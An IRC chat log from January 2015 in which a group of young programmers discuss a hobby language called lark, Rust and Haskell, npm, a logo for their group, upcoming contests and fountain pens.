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[2015-01-04T21:05:08-0500] Topic is Pidgey is on GitHub: http://git.io/caK7Kg | Donate to PdgnCo: 1BZmyVhDu3p6xqsnat81fYD7hm3ZqR2bf
[2015-01-04T21:05:08-0500] Set by Pidgey on December 30, 2014 at 1:25:17 PM EST
[2015-01-04T21:05:08-0500] Pidgey sets mode +o awe
[2015-01-04T21:05:08-0500] Mode is +ns
[2015-01-04T21:05:10-0500] <Pharyngeal> awe: It's still alpha, so expect a bug every once in a while :) 
[2015-01-04T21:05:25-0500] <@awe> It's okay, my primary programming language breaks on a daily basis.
[2015-01-04T21:05:32-0500] <+JacobEdelman> ....
[2015-01-04T21:05:35-0500] <@awe> It only seems fitting that my networking should also break daily.
[2015-01-04T21:05:40-0500] <+JacobEdelman> mine does too!
[2015-01-04T21:05:50-0500] <+JacobEdelman> (lark)
[2015-01-04T21:05:51-0500] <Pharyngeal> heh!
[2015-01-04T21:06:14-0500] <+JacobEdelman> although in a week or so
[2015-01-04T21:06:21-0500] <+JacobEdelman> it should be somewhat stable
[2015-01-04T21:06:24-0500] <@awe> your primary programming language is not the one you're writing, JacobEdelman.
[2015-01-04T21:06:32-0500] <+JacobEdelman> awe: well..... not yet
[2015-01-04T21:06:34-0500] <@awe> You have to write most of your work in it.
[2015-01-04T21:06:50-0500] <+JacobEdelman> soon I'll be at the point where I'll be writing lark in lark
[2015-01-04T21:06:56-0500] <@awe> Cool.
[2015-01-04T21:07:00-0500] <+JacobEdelman> only a few features away
[2015-01-04T21:07:03-0500] <+hardmath123> soon?
[2015-01-04T21:07:04-0500] <+JacobEdelman> also, awe
[2015-01-04T21:07:21-0500] <+JacobEdelman> hardmath123: I need to make post proccessing lazy for a few reason
[2015-01-04T21:07:26-0500] <@awe> ?
[2015-01-04T21:07:31-0500] <+JacobEdelman> hardmath123: thats the last step
[2015-01-04T21:07:36-0500] <@awe> but yeah, JacobEdelman and hardmath123, you guys should get in on this
[2015-01-04T21:07:38-0500] <Pharyngeal> awe: You should try to get some converts ;)
[2015-01-04T21:07:39-0500] <@awe> peer with me and Pharyngeal 
[2015-01-04T21:07:41-0500] <+JacobEdelman> awe: it has no side-effects as of now
[2015-01-04T21:07:43-0500] <@awe> Pharyngeal: I was working on that.
[2015-01-04T21:07:45-0500] <@awe> JacobEdelman: good :D
[2015-01-04T21:07:54-0500] <@awe> JacobEdelman: you should get HKT in there when you can.
[2015-01-04T21:07:55-0500] <Pharyngeal> lol wrote it at the same time
[2015-01-04T21:07:55-0500] <+JacobEdelman> awe: tommorow, I'll look at hyperboria
[2015-01-04T21:08:00-0500] <+JacobEdelman> HKT?
[2015-01-04T21:08:08-0500] <@awe> Pharyngeal: I was already bugging them about it in #relationships before.
[2015-01-04T21:08:16-0500] <@awe> higher-kind types.
[2015-01-04T21:08:54-0500] <+JacobEdelman> I'll look at that
[2015-01-04T21:09:21-0500] <+JacobEdelman> as of now the only "type" is really a primitive (int) but I'm gonna wrap that so it acts like a regular type and such
[2015-01-04T21:09:28-0500] <+hardmath123> JacobEdelman: this morning I was like "@choose __ or __" to pick a project and then you chose one
[2015-01-04T21:09:33-0500] <+JacobEdelman> yes
[2015-01-04T21:09:34-0500] <+hardmath123> which one was it?
[2015-01-04T21:09:40-0500] <+JacobEdelman> the second one
[2015-01-04T21:09:43-0500] <+JacobEdelman> not the midi one
[2015-01-04T21:09:44-0500] <+hardmath123> which was...?
[2015-01-04T21:09:49-0500] <+JacobEdelman> oh yeah
[2015-01-04T21:09:50-0500] <+JacobEdelman> IL
[2015-01-04T21:09:52-0500] <+JacobEdelman> no
[2015-01-04T21:09:53-0500] <+JacobEdelman> IF
[2015-01-04T21:09:59-0500] <+hardmath123> oh
[2015-01-04T21:10:00-0500] <+JacobEdelman> which I assumed meant Interactive fiction
[2015-01-04T21:10:04-0500] <+hardmath123> yes
[2015-01-04T21:10:17-0500] <+JacobEdelman> awe: how should I add side effects?
[2015-01-04T21:10:25-0500] <@awe> IO monad
[2015-01-04T21:10:30-0500] <@awe> you have to add HKT first though
[2015-01-04T21:10:36-0500] <+JacobEdelman> awe: ohh...
[2015-01-04T21:10:57-0500] <+hardmath123> JacobEdelman: but lazy postprocessing will be backwards-incompatible!
[2015-01-04T21:11:09-0500] <+hardmath123> JacobEdelman: because postprocessors can deny atm
[2015-01-04T21:11:22-0500] <+JacobEdelman> hardmath123: my language has been backwards incompatible for a long time now
[2015-01-04T21:11:26-0500] <+JacobEdelman> atm?
[2015-01-04T21:11:30-0500] <+JacobEdelman> I'm confused?
[2015-01-04T21:11:40-0500] <+hardmath123> at the moment
[2015-01-04T21:11:45-0500] <+JacobEdelman> oh yeah
[2015-01-04T21:11:50-0500] <+JacobEdelman> I'm not changing the nearly bit
[2015-01-04T21:11:55-0500] <+JacobEdelman> nearly will not be lazy
[2015-01-04T21:11:59-0500] <+JacobEdelman> some other stuff will be
[2015-01-04T21:12:00-0500] <+hardmath123> ok
[2015-01-04T21:12:09-0500] <+JacobEdelman> although I will eventually remove nearley
[2015-01-04T21:12:25-0500] <+JacobEdelman> cause 30% of my language is parser combinators
[2015-01-04T21:12:37-0500] <+JacobEdelman> so I'm just gonna rewrite that bit in js
[2015-01-04T21:12:41-0500] <+JacobEdelman> since nearley is redundant
[2015-01-04T21:12:47-0500] <+JacobEdelman> in my language
[2015-01-04T21:12:48-0500] <+JacobEdelman> gtg
[2015-01-04T21:13:00-0500] <+hardmath123> bye
[2015-01-04T21:13:02-0500] <+hardmath123> wait
[2015-01-04T21:13:05-0500] <+hardmath123> first publish on npm
[2015-01-04T21:13:06-0500] <+hardmath123> then go
[2015-01-04T21:13:08-0500] <+hardmath123> !
[2015-01-04T21:15:29-0500] <@awe> npm is a mess.
[2015-01-04T21:16:08-0500] <@awe> >package manager for developers
[2015-01-04T21:16:16-0500] <@awe> >used as a way to distribute programs to end users
[2015-01-04T21:16:22-0500] <@awe> WHY NODE DEVS WHY
[2015-01-04T21:21:15-0500] <+JacobEdelman> hardmath123: once its usable 
[2015-01-04T21:21:42-0500] <+JacobEdelman> npm is good
[2015-01-04T21:21:54-0500] <+JacobEdelman> hardmath123: I'll make a release on npm
[2015-01-04T21:22:03-0500] <+JacobEdelman> hardmath123: after I have a usable version of lark
[2015-01-04T21:22:22-0500] <+JacobEdelman> hardmath123: as of now it isn't really working
[2015-01-04T21:22:35-0500] <+JacobEdelman> hardmath123: since some major parts are in progress
[2015-01-04T21:22:36-0500] <@awe> see my complaint above.
[2015-01-04T21:22:42-0500] <+JacobEdelman> npm is for everything
[2015-01-04T21:22:45-0500] <+JacobEdelman> npm is life
[2015-01-04T21:22:46-0500] <@awe> But it's not.
[2015-01-04T21:22:48-0500] <+JacobEdelman> worship npm
[2015-01-04T21:22:55-0500] <@awe> it's supposed to be a package manager for node developers
[2015-01-04T21:23:08-0500] <+JacobEdelman> so?
[2015-01-04T21:24:47-0500] <bob_twinkles> it's also not really a package manager right?
[2015-01-04T21:24:55-0500] <bob_twinkles> 'cause it doesn't handle native dependencies
[2015-01-04T21:25:05-0500] <@awe> yah
[2015-01-04T21:25:12-0500] <bob_twinkles> ... wait
[2015-01-04T21:25:22-0500] <@awe> cargo handles native dependencies, although somewhat poorly.
[2015-01-04T21:25:40-0500] <bob_twinkles> doesn't the node engine require a custom DLL format?
[2015-01-04T21:26:07-0500] <@awe> unno
[2015-01-04T21:27:45-0500] <+JacobEdelman> awe: hardmath123: at the very least I think the js for lark is now readable
[2015-01-04T21:27:49-0500] <+JacobEdelman> I learned formatting
[2015-01-04T21:27:53-0500] <+JacobEdelman> and style
[2015-01-04T21:28:09-0500] <+JacobEdelman> (well, most of the js)
[2015-01-04T21:28:29-0500] <+JacobEdelman> (after adding in the last few essential features, cleaning up the code is my next job)
[2015-01-04T21:28:32-0500] <@awe> except a language implemented in JS is a bad idae :D
[2015-01-04T21:28:33-0500] <@awe> idea*
[2015-01-04T21:28:47-0500] <bob_twinkles> even better
[2015-01-04T21:28:48-0500] <+JacobEdelman> eventually I may reimplement it in a better language
[2015-01-04T21:28:56-0500] <bob_twinkles> implement JS in Lark
[2015-01-04T21:29:02-0500] <@awe> bob_twinkles: o lawd
[2015-01-04T21:29:03-0500] <bob_twinkles> so you can run lark in js in lark in node
[2015-01-04T21:29:08-0500] <+JacobEdelman> bob_twinkles: that would be surprisingly eas
[2015-01-04T21:29:10-0500] <+JacobEdelman> bob_twinkles: that would be surprisingly easy
[2015-01-04T21:29:35-0500] <+JacobEdelman> bob_twinkles: cause lark makes it easy to implement language things
[2015-01-04T21:29:49-0500] <bob_twinkles> I kinda doubt it; js is a large and complex beast full of dark and scary corners
[2015-01-04T21:29:53-0500] <bob_twinkles> not quite as many as C++
[2015-01-04T21:30:06-0500] <+JacobEdelman> bob_twinkles: well, implementing enough of js to run lark on wouldn't be too hard
[2015-01-04T21:30:09-0500] <bob_twinkles> but JS gives C++ a run for it's money
[2015-01-04T21:30:14-0500] <@awe> Rust is more complex than both JS and C++.
[2015-01-04T21:30:15-0500] <@awe> :D
[2015-01-04T21:30:20-0500] <@awe> As is Haskell.
[2015-01-04T21:30:23-0500] <bob_twinkles> that's... not a good thing
[2015-01-04T21:30:27-0500] <+JacobEdelman> lark is simple!
[2015-01-04T21:30:33-0500] <@awe> It's not a bad thing either.
[2015-01-04T21:30:36-0500] <+JacobEdelman> only ~430 lines of code
[2015-01-04T21:30:40-0500] <@awe> It's just a comment on the complexity of implementation of a language.
[2015-01-04T21:30:47-0500] <bob_twinkles> it kinda is
[2015-01-04T21:30:55-0500] <@awe> Why?
[2015-01-04T21:30:59-0500] <+JacobEdelman> and the end product will probaly be <1000 lines of js code + a bunch of lark code for the builtins and basics and such
[2015-01-04T21:31:01-0500] <@awe> A language that has a lot of features is not innately bad.
[2015-01-04T21:31:13-0500] <@awe> JacobEdelman: the end product should be 0 lines of JS
[2015-01-04T21:31:18-0500] <+JacobEdelman> awe: most of those features should be implemented in rust
[2015-01-04T21:31:19-0500] <bob_twinkles> I want to be thinking about my code, not the language
[2015-01-04T21:31:22-0500] <+JacobEdelman> well, the end product might not be
[2015-01-04T21:31:27-0500] <@awe> All of Rust's features are implemented in Rust.
[2015-01-04T21:31:40-0500] <bob_twinkles> the more complex the language, the more brain cycles I spend worrying about whether my code is doing what I think it's doing
[2015-01-04T21:31:47-0500] <@awe> Only when you're just learning it.
[2015-01-04T21:31:47-0500] <+JacobEdelman> awe: ahh.... but not the way lark's will be
[2015-01-04T21:31:56-0500] <bob_twinkles> not true
[2015-01-04T21:32:21-0500] <@awe> Most of the complexity of implementation from Rust comes from the borrow checker and stuff like that.
[2015-01-04T21:32:24-0500] <+JacobEdelman> bob_twinkles: solution: build your own lang
[2015-01-04T21:32:26-0500] <@awe> Things that you don't think about while you're writing.
[2015-01-04T21:32:53-0500] <@awe> Or at least, it's easier to think about borrowing than it is to implement a borrow chcker.
[2015-01-04T21:33:18-0500] <@awe> Same thing with Haskell.
[2015-01-04T21:33:28-0500] <bob_twinkles> well yeah
[2015-01-04T21:33:30-0500] <@awe> (Except it's the laziness and stuff)
[2015-01-04T21:33:36-0500] <bob_twinkles> language implementation complexity != language complexity
[2015-01-04T21:33:44-0500] <+JacobEdelman> lark is lazy
[2015-01-04T21:33:47-0500] <@awe> We were talking about implementation, bob_twinkles.
[2015-01-04T21:33:52-0500] <+JacobEdelman> well, it can be lazy actuall
[2015-01-04T21:33:53-0500] <bob_twinkles> uh
[2015-01-04T21:33:54-0500] <+JacobEdelman> well, it can be lazy actually
[2015-01-04T21:33:55-0500] <bob_twinkles> you might be
[2015-01-04T21:33:57-0500] <bob_twinkles> I'm not XD
[2015-01-04T21:33:59-0500] <+JacobEdelman> its not inhernetely lazy
[2015-01-04T21:34:01-0500] <+JacobEdelman> (yet)
[2015-01-04T21:34:09-0500] <@awe> bob_twinkles: you said that JS and C++ would be complex to implement.
[2015-01-04T21:34:22-0500] <+JacobEdelman> (you can implement lazy data structures in lark easily)
[2015-01-04T21:34:44-0500] <@awe> I guess I see how you could've meant language feature-wise, too.
[2015-01-04T21:34:54-0500] <@awe> Although, Rust and Haskell *do* have a lot of features.
[2015-01-04T21:35:16-0500] <bob_twinkles> yeah; though the core of the Haskell *language* isn't hard to grok
[2015-01-04T21:35:24-0500] <bob_twinkles> it's the standard library that's a bitch
[2015-01-04T21:35:34-0500] <@awe> Heh, yeah.
[2015-01-04T21:36:38-0500] <bob_twinkles> the C++ language is legitimately hard to figure out
[2015-01-04T21:36:52-0500] <@awe> especially if you consider the metalanguage.
[2015-01-04T21:37:02-0500] <+JacobEdelman> in lark the metalanguage is lark
[2015-01-04T21:37:04-0500] <bob_twinkles> we do not speak of templates
[2015-01-04T21:37:08-0500] <+JacobEdelman> you can program lark in lark
[2015-01-04T21:37:13-0500] <+JacobEdelman> templates are for wimps
[2015-01-04T21:37:15-0500] <bob_twinkles> even if they are turing complete
[2015-01-04T21:37:22-0500] <+JacobEdelman> dynamic language modification for the win!
[2015-01-04T21:37:25-0500] <bob_twinkles> JacobEdelman: congratulations, your language is Turing complete =P
[2015-01-04T21:37:38-0500] <@awe> templates are more featureful than C++ itself.
[2015-01-04T21:37:38-0500] <+JacobEdelman> yes
[2015-01-04T21:37:42-0500] <@awe> templates support HKT :D
[2015-01-04T21:39:58-0500] <@awe> Tamini: so, you can change the ZNC settings to connect to this server over hyperboria, if you'd liek.
[2015-01-04T21:40:24-0500] <Tamini> hm?
[2015-01-04T21:40:27-0500] <Tamini> uhh
[2015-01-04T21:40:40-0500] <@awe> wouldn't change anything on your end.
[2015-01-04T21:40:54-0500] <@awe> makes your connection more secure though
[2015-01-04T21:40:56-0500] <Tamini> ill do it after homework :P
[2015-01-04T21:41:05-0500] <@awe> it's literally just changing irc.pdgn.co to h.irc.pdgn.co
[2015-01-04T21:41:36-0500] <@awe> So, does anybody want to work on a PdgnCo logo now?
[2015-01-04T21:41:40-0500] <@awe> I want to set up that splash page.
[2015-01-04T21:42:23-0500] <Pharyngeal> Also, are any of you in fyrechat?
[2015-01-04T21:44:12-0500] <+JacobEdelman> Pharyngeal:  awe is on vana on fyrechat
[2015-01-04T21:44:14-0500] <jwoglom> awe: http://im.ezgif.com/tmp/ezgif-1482949288.gif
[2015-01-04T21:44:23-0500] <@awe> Pharyngeal: just me, why?
[2015-01-04T21:44:29-0500] <@awe> JacobEdelman: lol
[2015-01-04T21:44:30-0500] <@awe> erm
[2015-01-04T21:44:32-0500] <@awe> DAMMIT
[2015-01-04T21:44:33-0500] <@awe> jwoglom: lol
[2015-01-04T21:44:34-0500] <Pharyngeal> How did I end up there?
[2015-01-04T21:44:43-0500] <@awe> Pharyngeal: it's on my website.
[2015-01-04T21:44:46-0500] <Pharyngeal> Oh
[2015-01-04T21:45:02-0500] <jwoglom> awe: actually, this is better: http://im.ezgif.com/tmp/ezgif-241997905.gif
[2015-01-04T21:45:43-0500] <@awe> Should I just make a silhouette out of an actual picture of a pigeon?
[2015-01-04T21:46:19-0500] <@awe> Nah, it'll look super uninteresting.
[2015-01-04T21:47:39-0500] <+JacobEdelman> make ben make the logo
[2015-01-04T21:47:41-0500] <+JacobEdelman> he's good
[2015-01-04T21:47:50-0500] <jwoglom> http://im.ezgif.com/tmp/ezgif-4024624817.gif
[2015-01-04T21:47:53-0500] <jwoglom> it's fun making shitty gifs
[2015-01-04T21:47:54-0500] <+JacobEdelman> also, The_Master says he has a freind who's good at making pictures/logos
[2015-01-04T21:48:07-0500] <+JacobEdelman> you can talk to The_Master tommorow about it if you want too
[2015-01-04T21:52:23-0500] <Tamini> if you want super minimalistic
[2015-01-04T21:52:28-0500] <Tamini> i think i can find someone to do it
[2015-01-04T21:53:09-0500] <@awe> Go ask people.
[2015-01-04T21:53:13-0500] <@awe> The more options the better, right?
[2015-01-04T21:53:38-0500] <Tamini> what kind of style do you want?
[2015-01-04T21:57:04-0500] <@awe> Flat stuff is nice.
[2015-01-04T21:57:09-0500] <@awe> I'll consider whatever though.
[2015-01-04T22:00:08-0500] <Tamini> hm
[2015-01-04T22:00:25-0500] <Tamini> does it have to be a pidgeon
[2015-01-04T22:00:32-0500] <Tamini> can pidgey magically be a penguin or something
[2015-01-04T22:00:45-0500] <+hardmath123> partridgeon
[2015-01-04T22:02:06-0500] <@awe> Has to be a pigeon.
[2015-01-04T22:17:09-0500] <@awe> I use, by far, the most data on ZNC.
[2015-01-04T22:17:20-0500] <@awe> It must be because I'm on all the rust channels and also #haskell.
[2015-01-04T22:20:59-0500] <Pharyngeal> awe: In one week and two days, znc shows 1GB of traffic for me.
[2015-01-04T22:21:06-0500] <@awe> wow
[2015-01-04T22:21:10-0500] <@awe> You kill me by a lot.
[2015-01-04T22:21:15-0500] <@awe> I've got almost 100 MB.
[2015-01-04T22:21:30-0500] <@awe> #haskell is the largest channel I'm in.
[2015-01-04T22:22:24-0500] <Pharyngeal> awe: I am in a whole bunch of Freenode channels, so that's probably most of it
[2015-01-04T22:22:40-0500] <@awe> Probably.
[2015-01-04T22:23:01-0500] <Pharyngeal> Yep, it's about 900 MB there, and 400 MB elsewhere. I guess znc rounds
[2015-01-04T22:27:26-0500] <@awe> jwoglom: it'd be easy to do a lot of cool Study Bot stuff with my IRC library.
[2015-01-04T22:27:47-0500] <jwoglom> awe: yeah i would imagine
[2015-01-04T22:28:16-0500] <@awe> you could easily do the devoice users who are enlisted.
[2015-01-04T22:29:01-0500] <jwoglom> what makes your irc library better than others?
[2015-01-04T22:29:12-0500] <@awe> It's the only one in Rust. ;)
[2015-01-04T22:29:32-0500] <@awe> Honestly, that's probably a lot of what makes it special.
[2015-01-04T22:29:52-0500] <@awe> I don't know necessarily that it's better than a lot of other IRC libraries.
[2015-01-04T22:32:56-0500] <@awe> It's probably better than PircBot.
[2015-01-04T22:36:36-0500] <@awe> Textual has sent 277,250 messages since startup with a total of 6,883,793 messages received. The last message received on this connection occured 19 seconds ago. This all equals roughly 742.1 MB in and 4.2 MB out worth of bandwidth.
[2015-01-04T22:36:41-0500] <@awe> O.
[2015-01-04T22:46:17-0500] <+hardmath123> so your net percent presence on the IRC world is 0.57%.
[2015-01-04T22:47:41-0500] <@awe> wat?
[2015-01-04T22:48:58-0500] <+hardmath123> oh i did that wrong
[2015-01-04T22:49:10-0500] <+hardmath123> 4.2/(4.2 + 742.1)
[2015-01-04T22:54:16-0500] <ubuntor> 12 more integrals to go :(
[2015-01-04T23:00:58-0500] <@awe> hardmath123: that's not the IRC world, that's just my IRC world.
[2015-01-04T23:01:36-0500] <+hardmath123> true
[2015-01-04T23:04:58-0500] <Tamini> lol
[2015-01-04T23:05:10-0500] <Tamini> what fraction do i take up of your irc world
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[2015-01-04T23:25:50-0500] <+hardmath123> are you guys doing battlecode?
[2015-01-04T23:26:52-0500] <@awe> Iunno what that is.
[2015-01-04T23:28:32-0500] <Tamini> oh oh
[2015-01-04T23:28:34-0500] <Tamini> is that the thing
[2015-01-04T23:28:35-0500] <Tamini> with the robots
[2015-01-04T23:28:36-0500] <Tamini> LOL
[2015-01-04T23:28:40-0500] <Tamini> battlerobots
[2015-01-04T23:28:41-0500] <Tamini> and points
[2015-01-04T23:28:44-0500] <ubuntor> yeah, if i can find a team
[2015-01-04T23:28:51-0500] <Tamini> hardmath123: if you're doing it
[2015-01-04T23:28:55-0500] <Tamini> you should let me join your team
[2015-01-04T23:28:57-0500] <Tamini> <3
[2015-01-04T23:29:09-0500] <Tamini> i had a team like last year and we didn't actually end up doing stuff which was sad
[2015-01-04T23:29:35-0500] <+hardmath123> i was going to ask whether it's actual touch-able robots or digital?
[2015-01-04T23:30:23-0500] <Tamini> digital
[2015-01-04T23:30:27-0500] <Tamini> are you going to do it?
[2015-01-04T23:30:48-0500] <ubuntor> last year's scenario was weird...
[2015-01-04T23:31:02-0500] <+hardmath123> then i might, idk. i'm pretty busy this semester.
[2015-01-04T23:31:37-0500] <Tamini> hardmath123: you're a sophomore, shush :P
[2015-01-04T23:31:45-0500] <Tamini> and lol i kinda wanna do at least something with pdgn people
[2015-01-04T23:31:53-0500] <Tamini> since I'm being forced to bail on pennapps >____>
[2015-01-04T23:32:07-0500] <@awe> Tamini: I hate you
[2015-01-04T23:32:09-0500] <@awe> Tamini: D:
[2015-01-04T23:32:15-0500] <+hardmath123> defect from your HMMT team
[2015-01-04T23:32:21-0500] <Tamini> awe: and I love you
[2015-01-04T23:32:25-0500] <Tamini> hardmath123: how long do you stay?
[2015-01-04T23:32:32-0500] <Tamini> can we have dinner together on the second night or no?
[2015-01-04T23:32:51-0500] <Tamini> because I think alok might be leaving me by that night
[2015-01-04T23:33:03-0500] <+hardmath123> Tamini: I'm not sure what the schedule is, but if it works out, I'd be more than happy to have dinner with you.
[2015-01-04T23:33:10-0500] <Tamini> awesome! :)
[2015-01-04T23:33:18-0500] <Tamini> well I need to make hmmt first >.>
[2015-01-04T23:33:27-0500] <+hardmath123> you need to qualify?
[2015-01-04T23:34:39-0500] <Tamini> yeah
[2015-01-04T23:34:39-0500] <Tamini> :p
[2015-01-04T23:35:15-0500] <Tamini> i kinda derped on a pretty big contest
[2015-01-04T23:35:18-0500] <alokpathy> hardmath123: Wait you don't?
[2015-01-04T23:35:21-0500] <Tamini> and started skipping stuff I didn't want to go to
[2015-01-04T23:35:24-0500] <Tamini> so...>.>
[2015-01-04T23:35:52-0500] <Tamini> alokpathy: also man if briceshao come to hang out with us you should tag along with them so we can chill
[2015-01-04T23:36:53-0500] <+hardmath123> alokpathy: well the guy who's registering us gave everyone in the math club a test and picked the top few for the team. i sort of forgot about that.
[2015-01-04T23:37:04-0500] <alokpathy> Tamini: That'd be so awkward
[2015-01-04T23:37:09-0500] <alokpathy> hardmath123: Oh okay.
[2015-01-04T23:37:11-0500] <+hardmath123> are y'all doing GitS? apparently you can have an arbitrarily large team...
[2015-01-04T23:37:17-0500] <alokpathy> hardmath123: Things make sense now xD
[2015-01-04T23:37:21-0500] <alokpathy> hardmath123: wazzat
[2015-01-04T23:37:27-0500] <+hardmath123> ghost in the shellcode
[2015-01-04T23:37:28-0500] <alokpathy> Tamini: It'd be like
[2015-01-04T23:37:40-0500] <alokpathy> Tamini: "Hey I'm crashing but I'm not a MOPper plz don't look down on me"
[2015-01-04T23:37:48-0500] <Tamini> hardmath123: uhh i mean
[2015-01-04T23:37:50-0500] <Tamini> i want to but
[2015-01-04T23:37:54-0500] <Tamini> this is mainly bob_twinkles's thing
[2015-01-04T23:38:02-0500] <Tamini> alokpathy: you could just hang out with me, my friends are cool <3
[2015-01-04T23:39:23-0500] <alokpathy> Tamini: I'll see I'll see
[2015-01-04T23:39:29-0500] <alokpathy> hardmath123: That sounds interesting
[2015-01-04T23:39:31-0500] <alokpathy> hardmath123: When is it?
[2015-01-04T23:39:33-0500] <ubuntor> hardmath123: doing other stuff at shmoocon instead of gits
[2015-01-04T23:40:16-0500] <alokpathy> hardmath123: Oh, wait, that's PennApps weekend .-.
[2015-01-04T23:40:44-0500] <ubuntor> everything's on that weekend :(
[2015-01-04T23:40:50-0500] <+hardmath123> :(
[2015-01-04T23:40:55-0500] <Tamini> oh right yeah
[2015-01-04T23:40:56-0500] <+hardmath123> Tamini: ^?
[2015-01-04T23:40:59-0500] <Tamini> zach and i were crying over this
[2015-01-04T23:41:00-0500] <Tamini> uhhh
[2015-01-04T23:41:05-0500] <Tamini> if bob_twinkles is in, so am i
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[2015-01-04T23:41:39-0500] <Tamini> ....WOW 
[2015-01-04T23:41:48-0500] <alokpathy> lolwut
[2015-01-04T23:41:54-0500] <+hardmath123> that was cold
[2015-01-04T23:42:22-0500] <jwoglom> lol
[2015-01-04T23:42:30-0500] <@awe> lol
[2015-01-04T23:42:58-0500] <+hardmath123> "power is hard"
[2015-01-04T23:43:21-0500] <Tamini> bob_twinkles pls :(
[2015-01-04T23:43:25-0500] <Tamini> senpai pls
[2015-01-05T00:10:16-0500] <Tamini> oh my god my laziness just
[2015-01-05T00:10:17-0500] <Tamini> peaked
[2015-01-05T00:10:29-0500] <Tamini> i started using a fountain pen as a dip pen because i was too lazy to refill it
[2015-01-05T00:11:34-0500] <+hardmath123> you use fountain pens <3
[2015-01-05T00:11:47-0500] <+hardmath123> your handwriting must be either gorgeous or hideous
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[2015-01-05T00:12:45-0500] <@awe> I need to get a new Pilot Metropolitan.
[2015-01-05T00:12:47-0500] <@awe> I lost mine.
[2015-01-05T00:14:05-0500] <@awe> hardmath123: My handwriting is awful. :D
[2015-01-05T00:14:22-0500] <@awe> I'd like to think fountain pens make it slightly more legible though.
[2015-01-05T00:14:58-0500] <ubuntor> *aweful
[2015-01-05T00:15:21-0500] <@awe> Hah.
[2015-01-05T00:15:25-0500] <+hardmath123> pencils everywhere.
[2015-01-05T00:15:31-0500] <+hardmath123> i like pencils.
[2015-01-05T00:15:34-0500] <@awe> Pencils are weak.
[2015-01-05T00:15:36-0500] <+hardmath123> i believe in erasability.
[2015-01-05T00:15:41-0500] <+hardmath123> it's not weakness to erase.
[2015-01-05T00:15:57-0500] <Tamini> hardmath123: mine isn't great but
[2015-01-05T00:15:58-0500] <@awe> I like mechanical pencils.
[2015-01-05T00:16:05-0500] <Tamini> i can make it pretty
[2015-01-05T00:16:10-0500] <Tamini> i learned copperplate because bored and it makes me happy
[2015-01-05T00:16:18-0500] <Tamini> OH MY GOD IM HIGH
[2015-01-05T00:16:20-0500] <Tamini> LOL
[2015-01-05T00:16:28-0500] <Tamini> I just tried to dip my snack in india ink
[2015-01-05T00:16:29-0500] <Tamini> .-.
[2015-01-05T00:16:35-0500] <@awe> I read that as sack.
[2015-01-05T00:16:41-0500] <ubuntor> ...
[2015-01-05T00:16:42-0500] <@awe> I was like "when did Tamini get a ballsack?"
[2015-01-05T00:16:52-0500] <Tamini> LOL
[2015-01-05T00:16:54-0500] <Tamini> since forever ;)
[2015-01-05T00:17:04-0500] <Tamini> so uh soon
[2015-01-05T00:17:14-0500] <Tamini> im probably going to ingest heavily toxic ink
[2015-01-05T00:18:29-0500] <@awe> How about you don't?
[2015-01-05T00:19:05-0500] <Tamini> i keep trying to essentially
[2015-01-05T00:19:08-0500] <Tamini> dip food in soot ._>
[2015-01-05T00:19:15-0500] <Tamini> i should probably put ink away while i eat
[2015-01-05T00:20:44-0500] <@awe> Probably, yeah.
[2015-01-05T00:20:59-0500] <Pharyngeal> Why do you have indian ink?
[2015-01-05T00:21:36-0500] <@awe> It's good quality.
[2015-01-05T00:22:03-0500] <Tamini> Pharyngeal: i have a mild obsession with pens and inks
[2015-01-05T00:22:08-0500] <Tamini> just mild
[2015-01-05T00:22:17-0500] <Pharyngeal> What type of pen are you using?
[2015-01-05T00:22:21-0500] <Tamini> not like I have a box full of pens and a giant box of inks next to it >___>
[2015-01-05T00:22:45-0500] <Tamini> I was using a dip pen because I couldn't find my fountain pen ink supply
[2015-01-05T00:23:16-0500] <Pharyngeal> Which fountain pens do you have?
[2015-01-05T00:24:11-0500] <@awe> I am also curious.
[2015-01-05T00:24:48-0500] <Tamini> I have a
[2015-01-05T00:25:00-0500] <Tamini> really really nice white gold one that I got as a gift
[2015-01-05T00:25:07-0500] <Tamini> I think it cost...large amounts of money
[2015-01-05T00:25:16-0500] <Tamini> I use cheap sailor pens for everyday stuff
[2015-01-05T00:25:28-0500] <Pharyngeal> Tamini, do you know the name of it?
[2015-01-05T00:25:33-0500] <Tamini> and I mainly use the Lamy scala
[2015-01-05T00:25:33-0500] <Tamini> uh
[2015-01-05T00:25:59-0500] <jwoglom> Tamini: sailor pens don't look very cheap, lol
[2015-01-05T00:25:59-0500] <Tamini> sailor chalana
[2015-01-05T00:26:02-0500] <Tamini> i'd like to say
[2015-01-05T00:26:08-0500] <jwoglom> but i don't know much at all about pens, so
[2015-01-05T00:26:17-0500] <Tamini> jwoglom: like the $20 plastic ones that break easily
[2015-01-05T00:26:27-0500] <@awe> Tamini: you're really not helping us pen-porn-lovers.
[2015-01-05T00:26:28-0500] <jwoglom> Tamini: still, $20 for a pen
[2015-01-05T00:26:30-0500] <jwoglom> i'd consider that expensive
[2015-01-05T00:26:34-0500] <Tamini> awe: ?
[2015-01-05T00:26:37-0500] <Pharyngeal> Oooh, that's beautiful
[2015-01-05T00:26:40-0500] <@awe> Tamini: we want the name of your pen.
[2015-01-05T00:26:44-0500] <Tamini> Sailor Chalana.
[2015-01-05T00:26:51-0500] <Tamini> Pharyngeal: it's so nice
[2015-01-05T00:26:53-0500] <Pharyngeal> I have an Al-Star, two Safaris, and a Pilot Metro
[2015-01-05T00:26:59-0500] <Tamini> it has a little flex in it too
[2015-01-05T00:27:03-0500] <Tamini> very very soft.
[2015-01-05T00:27:06-0500] <Pharyngeal> To be fair, the latter three need to be repaired =/
[2015-01-05T00:27:08-0500] <Tamini> aww
[2015-01-05T00:27:21-0500] <Tamini> idk, I'm kinda developing a fondness for german pens tho
[2015-01-05T00:27:31-0500] <Pharyngeal> The Safaris both cracked
[2015-01-05T00:27:42-0500] <Tamini> my lamy scala writes so smoothly
[2015-01-05T00:27:53-0500] <Pharyngeal> My fault, but still frustrating
[2015-01-05T00:28:09-0500] <@awe> Wow, the Chalana seems very elegant.
[2015-01-05T00:28:16-0500] <Tamini> Pharyngeal: do you also have a fondness for Lamy everything?
[2015-01-05T00:28:28-0500] <Tamini> their fountain pen inks work really nicely for me
[2015-01-05T00:28:43-0500] <Tamini> awe: it's beautiful.
[2015-01-05T00:28:49-0500] <Tamini> very very small, though.
[2015-01-05T00:29:16-0500] <Pharyngeal> Tamini: My friend actually introduced me, I do like them a lot. 
[2015-01-05T00:29:26-0500] <Pharyngeal> I just wish I could find replacement parts for my Safari's :(
[2015-01-05T00:29:38-0500] <Tamini> aw D:
[2015-01-05T00:29:49-0500] <@awe> the scala looks kind of bland.
